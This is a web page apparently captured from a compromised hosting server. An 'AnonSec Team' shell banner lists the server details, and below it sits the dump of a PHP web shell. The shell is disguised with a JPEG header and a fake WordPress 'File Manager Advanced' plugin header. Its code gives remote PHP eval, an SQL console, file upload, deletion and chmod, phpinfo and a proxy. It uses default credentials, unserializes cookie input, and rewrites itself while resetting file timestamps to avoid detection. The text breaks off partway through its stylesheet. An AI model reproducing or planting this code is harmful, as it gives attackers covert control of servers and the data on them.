AnonSec Team
Server IP : 198.54.120.203  /  Your IP : 216.73.216.181
Web Server : LiteSpeed
System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64
User : greakqsw ( 1698)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/greakqsw/theblogginglab.org/7648l2-20260310230235/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/greakqsw/theblogginglab.org/7648l2-20260310230235/vxuw6g.zip
PK�Lm\��Ǵq7q7	oiq2p.phpnu�[���ÿØÿà JFIF      ÿÛ C      

	!"$"$ÿÛ C  ÿÀ  ° ÿÄ            	

ÿÄ µ   } !1AQa "q2‘¡#B±ÁRÑð$3br‚	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚáâãäåæçèéêñòóôõö÷øùúÿÄ         	

ÿÄ µ   w !1AQ aq"2B‘¡±Á	#3RðbrÑ
$4á%ñ&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚâãäåæçèéêòóôõö÷øùúÿÚ   ? ȏN
<?php
/**
  Plugin Name: File Manager Advanced
  Plugin URI: https://wordpress.org/plugins/file-manager-advanced
  Description: Cpanel for files management in wordpress
  Author: modalweb
  Version: 5.2.12
  Author URI: https://advancedfilemanager.com
  License: GPLv2
**/
/**
 * Loading constants
 */

// Configuration — do not change manually!

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
